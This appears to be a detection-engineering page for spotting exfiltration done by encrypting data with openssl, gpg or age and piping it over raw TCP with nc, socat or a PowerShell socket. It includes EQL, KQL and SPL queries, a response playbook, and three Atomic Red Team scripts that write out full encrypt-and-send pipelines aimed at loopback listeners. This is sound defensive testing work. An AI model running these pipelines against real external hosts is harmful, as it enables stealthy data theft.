Detect Data Exfiltration via Symmetric-Key Encrypted Archive over Raw TCP Socket (OpenSSL/GPG/age + Netcat/Socat) in Elastic Security
Rather than using a full file-transfer protocol client (scp, sftp, FTPS) whose handshake and banner still expose the protocol in use, some adversaries encrypt a staged archive client-side with a symmetric-key utility (openssl enc, gpg --symmetric, age -p) and then pipe the resulting ciphertext directly into a bare raw-socket tool (nc/ncat/socat, or a scripted python/PowerShell TCP socket) connecting to an arbitrary, often non-standard, high TCP port. This differs from the already-covered SFTP/FTPS/rsync-over-SSH pattern in this corpus (which rides a well-known, authenticated file-transfer protocol on ports 22/990) and from the GPG-archive email pattern (which moves the file as an SMTP attachment): here there is no file-transfer protocol at all — the wire traffic is an opaque, unauthenticated byte stream on a port chosen purely to blend in or evade a fixed egress allowlist, and destination-port matching alone is therefore useless. The only reliable signals are (1) a symmetric-encryption utility invoked with archive-sized input shortly before, (2) the same host launching a raw-socket utility (nc, ncat, socat, or a scripting-engine one-liner using a raw socket API) that is not itself a protocol client, and (3) the resulting outbound TCP session sending a large, sustained byte volume to a destination outside the corporate egress allowlist on a port with no registered service. This LOLBin combination is common in ransomware pre-encryption exfiltration ('double extortion') staging as well as red-team tradecraft, precisely because nc/ncat/socat and openssl/gpg are present on most Linux hosts by default and the traffic evades DPI/content inspection entirely (it is ciphertext with no protocol markers).
MITRE ATT&CK
- Tactic
- Exfiltration
Elastic Detection Query
sequence by host.name, user.name with maxspan=15m
[process where event.type == "start" and
process.name : ("openssl", "openssl.exe", "gpg", "gpg.exe", "age", "age.exe") and
process.command_line : ("*enc -*", "*--symmetric*", "*--passphrase*")]
[process where event.type == "start" and
process.name : ("nc", "nc.exe", "ncat", "ncat.exe", "socat", "socat.exe", "python", "python.exe", "python3")]Elastic EQL sequence detecting a symmetric-key encryption utility (openssl, gpg, age) followed within 15 minutes by a raw-socket tool launch (nc, ncat, socat, python) on the same host and user, matching the encrypt-then-raw-socket exfiltration pattern before any network-volume correlation is applied.
Data Sources
Required Tables
False Positives & Tuning
- Backup or DevOps automation that legitimately chains an encryption utility with a raw-socket relay for internal transfers
- Security tooling or research scripts that combine openssl/gpg testing with nc/socat connectivity checks during unrelated work
Other platforms for THREAT-SymmetricArchive-RawSocketExfil
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulate OpenSSL Symmetric Encryption Piped to Netcat Raw Socket Exfil (Linux)
Expected signal: auditd/Sysmon-for-Linux: execve record for openssl with 'enc' and '-pass' arguments, followed within seconds by an execve record for nc with a non-standard destination port (9001), and a network connect() event to 127.0.0.1:9001 with sustained bytes sent.
- Test 2Simulate Symmetric Encryption plus Raw TCP Socket Exfil via PowerShell (Windows)
Expected signal: Sysmon Event ID 1: powershell.exe execution referencing an openssl/gpg-style encryption command line, followed by a second powershell.exe execution instantiating System.Net.Sockets.TcpClient. Sysmon Event ID 3: network connection to 127.0.0.1:9002 (non-service port).
- Test 3Simulate GPG Symmetric Encryption Piped to Socat Raw Socket Exfil (macOS)
Expected signal: macOS Endpoint Security / unified log: exec event for gpg with '--symmetric' and '--passphrase' arguments, followed by an exec event for socat with a TCP destination on a non-standard port, and a corresponding network connection event.
Response Playbook
Triage
- Identify the full command line of the encryption utility invocation (openssl enc, gpg --symmetric, age -p) to determine the input file/archive being encrypted and confirm it targets a real, sizeable staged file rather than a trivial config file.
- Identify the full command line of the raw-socket tool (nc/ncat/socat/scripted socket) launched shortly after, including the destination IP/hostname and port, and confirm the port is not a documented internal relay or monitoring endpoint.
- Check whether the destination IP/port is present in the corporate egress allowlist or any known DR/backup relay documentation — if absent, treat as suspicious pending owner confirmation.
- Estimate exfiltrated volume from SentBytes on the correlated network session; a large single session strongly indicates bulk data movement rather than a small test connection.
- Review file staging activity preceding the encryption step (archive creation, directory listing of sensitive shares) to establish what data was likely collected before this transfer.
Containment
- Isolate the host via EDR if the destination is unrecognized/attacker-controlled and the transferred volume is significant.
- Block the destination IP and port at the network egress firewall — since the payload is opaque ciphertext, content inspection will not help; IP/port-level blocking on the specific ephemeral port used is the primary control.
- Kill the raw-socket process and any child encryption process still running on the host if the transfer is in progress.
- Preserve network flow records and any packet captures before they age out, since the ciphertext payload cannot be decrypted or reconstructed after the fact without the passphrase/key.
Evidence Collection
- Full process command lines for both the encryption utility and the raw-socket tool, including source file paths, destination IP/host, and port
- Sysmon Event ID 3 network connection records: destination IP, port, and bytes sent for the correlated session
- Archive/staging file artifacts and their creation timestamps in the minutes preceding the encryption step
- Shell history, cron entries, or scheduled task definitions referencing openssl/gpg/age or nc/ncat/socat on the host
- Any recovered listener-side artifacts if the receiving host is also under organizational control (e.g., a compromised jump box used as the relay)
Escalation Criteria
- !Confirmed large-volume transfer (tens of MB or more) to a destination not in the corporate egress allowlist immediately following a symmetric-encryption command
- !The same destination IP/port receives correlated encryption+socket sequences from multiple internal hosts, indicating fleet-wide staged exfiltration
- !The sequence follows recent bulk archive creation on sensitive data directories or immediately precedes ransomware deployment indicators (double-extortion pattern)
- !The raw-socket tool was dropped or executed from a non-standard/writable directory rather than a package-manager-installed binary path
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Sysmon Event ID 1 (process creation) for the encryption utility and the raw-socket tool, correlated by host/user and timestamp - >
Sysmon Event ID 3 (network connection) showing the destination IP, port, and byte counts for the raw-socket session - >
Shell history (.bash_history, PowerShell transcript) showing the openssl/gpg/age command with any recoverable passphrase argument - >
Archive files (zip/7z/tar) created shortly before encryption, with metadata indicating collection scope - >
Network flow data (NetFlow/IPFIX) showing session duration and byte counts even where the packet payload is unreadable ciphertext
Tuning Guidance
Maintain a corporate egress allowlist (destination IP ranges/hostnames used by legitimate backup, DR, and internal relay automation) and exclude them from alerting; without this the detection will fire on routine ops workflows that legitimately combine openssl/gpg with nc/socat. Prioritize the sent-byte volume threshold and the strict encryption-to-socket time correlation over simple co-occurrence of the two process names, since both openssl and nc/socat have widespread legitimate standalone use — it is the tight temporal pairing plus non-service-port network volume that is the actual signal. Where available, enrich the destination IP/ASN against known consumer VPS/hosting providers, since ad-hoc raw-socket exfiltration destinations are disproportionately hosted there rather than on recognized enterprise or cloud-provider ranges. Consider also alerting on the presence of nc/ncat/socat binaries at all on servers where they are not part of the standard build, since their mere presence on a production host is itself a lower-confidence but useful signal.
Hunting Queries
Baseline hunt over 30 days for any co-occurrence of a symmetric-encryption utility followed by a raw-socket tool launch on the same host within 15 minutes, without the network-volume filter — establishes how often this sequence occurs for legitimate backup/ops automation so genuinely new or high-volume pairings stand out.
// Hunt for any historical pairing of encryption-utility execution followed by a raw-socket tool launch on the same host
DeviceProcessEvents
| where Timestamp > ago(30d)
| where FileName in~ ("openssl", "openssl.exe", "gpg", "gpg.exe", "age", "age.exe")
| where ProcessCommandLine has_any ("enc -", "--symmetric", "--passphrase")
| project EncryptTime = Timestamp, DeviceName, AccountName, EncryptCommandLine = ProcessCommandLine
| join kind=inner (
DeviceProcessEvents
| where Timestamp > ago(30d)
| where FileName in~ ("nc", "nc.exe", "ncat", "ncat.exe", "socat", "socat.exe")
| project SocketTime = Timestamp, DeviceName, AccountName, SocketCommandLine = ProcessCommandLine
) on DeviceName, AccountName
| where datetime_diff('minute', SocketTime, EncryptTime) between (0 .. 15)
| sort by EncryptTime descindex=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 earliest=-30d
(Image="*\\openssl.exe" OR Image="*/openssl" OR Image="*\\gpg.exe" OR Image="*/gpg")
(CommandLine="*enc -*" OR CommandLine="*--symmetric*")
| rename Image AS EncryptImage, CommandLine AS EncryptCommandLine, _time AS EncryptTime
| join type=inner host, User
[ search index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 earliest=-30d
(Image="*\\nc.exe" OR Image="*/nc" OR Image="*/ncat" OR Image="*/socat")
| eval SocketTime=_time
| rename Image AS SocketImage, CommandLine AS SocketCommandLine
| table host, User, SocketImage, SocketCommandLine, SocketTime ]
| eval TimeDeltaMin=abs((SocketTime - EncryptTime)/60)
| where TimeDeltaMin <= 15
| table host, User, EncryptImage, EncryptCommandLine, SocketImage, SocketCommandLine, EncryptTimeAtomic Red Team Tests
Encrypts a test archive with openssl enc using a symmetric passphrase and streams the ciphertext directly to a loopback netcat listener on a non-standard port, simulating T1048.001 exfiltration over a raw socket with no file-transfer protocol wrapper.
Command
dd if=/dev/urandom of=/tmp/exfil_test.bin bs=1M count=5 2>/dev/null
nc -lvp 9001 > /tmp/received_test.enc &
LISTENER_PID=$!
sleep 1
openssl enc -aes-256-cbc -salt -pass pass:atomictestpass -in /tmp/exfil_test.bin | nc -w 3 127.0.0.1 9001
wait $LISTENER_PID 2>/dev/null || true
echo 'Atomic test THREAT-SymmetricArchive-RawSocketExfil (openssl+nc) complete - check auditd/Sysmon-for-Linux telemetry'Cleanup
rm -f /tmp/exfil_test.bin /tmp/received_test.encExpected Telemetry
auditd/Sysmon-for-Linux: execve record for openssl with 'enc' and '-pass' arguments, followed within seconds by an execve record for nc with a non-standard destination port (9001), and a network connect() event to 127.0.0.1:9001 with sustained bytes sent.
Expected Detection
KQL/SPL: openssl enc process execution correlated within the time window with an nc process launch and a subsequent network session on port 9001 (a non-service port) exceeding the sent-byte threshold.
Uses AES encryption in PowerShell (standing in for an openssl/age-style symmetric encryption step) followed by a raw System.Net.Sockets.TcpClient connection to a loopback listener, simulating the same encrypt-then-raw-socket exfiltration pattern on Windows without an installed openssl binary.
Command
fsutil file createnew C:\Temp\exfil_test.bin 5000000
# Simulate the encryption command line signal (stand-in for openssl enc / gpg --symmetric)
powershell.exe -Command "Write-Host 'openssl enc -aes-256-cbc -salt -pass pass:atomictestpass -in C:\Temp\exfil_test.bin -out C:\Temp\exfil_test.enc'"
CertUtil -encode C:\Temp\exfil_test.bin C:\Temp\exfil_test.enc
# Simulate the raw-socket transfer step
powershell.exe -Command "$client = New-Object System.Net.Sockets.TcpClient('127.0.0.1', 9002); Start-Sleep -Milliseconds 500; $client.Close()"Cleanup
Remove-Item C:\Temp\exfil_test.bin, C:\Temp\exfil_test.enc -Force -ErrorAction SilentlyContinueExpected Telemetry
Sysmon Event ID 1: powershell.exe execution referencing an openssl/gpg-style encryption command line, followed by a second powershell.exe execution instantiating System.Net.Sockets.TcpClient. Sysmon Event ID 3: network connection to 127.0.0.1:9002 (non-service port).
Expected Detection
Alert fires on the encryption-utility command-line pattern correlated within the time window with a raw-socket connection on a non-standard port, contributing to RiskScore/TotalBytesSent.
Encrypts a test archive with gpg --symmetric and streams the ciphertext via socat to a loopback listener on a non-standard port, simulating the macOS/Linux variant of this exfiltration pattern using an alternative raw-socket utility.
Command
dd if=/dev/urandom of=/tmp/exfil_test.bin bs=1m count=5
socat -u TCP-LISTEN:9003,reuseaddr,fork OPEN:/tmp/received_test.enc,creat &
LISTENER_PID=$!
sleep 1
gpg --batch --yes --passphrase atomictestpass --symmetric --cipher-algo AES256 --output - /tmp/exfil_test.bin | socat -u - TCP:127.0.0.1:9003
kill $LISTENER_PID 2>/dev/null || true
echo 'Atomic test THREAT-SymmetricArchive-RawSocketExfil (gpg+socat) complete - check Endpoint Security/unified log telemetry'Cleanup
rm -f /tmp/exfil_test.bin /tmp/received_test.encExpected Telemetry
macOS Endpoint Security / unified log: exec event for gpg with '--symmetric' and '--passphrase' arguments, followed by an exec event for socat with a TCP destination on a non-standard port, and a corresponding network connection event.
Expected Detection
Detection logic correlates the gpg symmetric-encryption command with the subsequent socat raw-socket connection on a non-service port within the configured time window.
Related Detections
Tactic Hub
Detection Variants (1)
Different telemetry and tradecraft for the same technique — pick the one that matches the data you collect.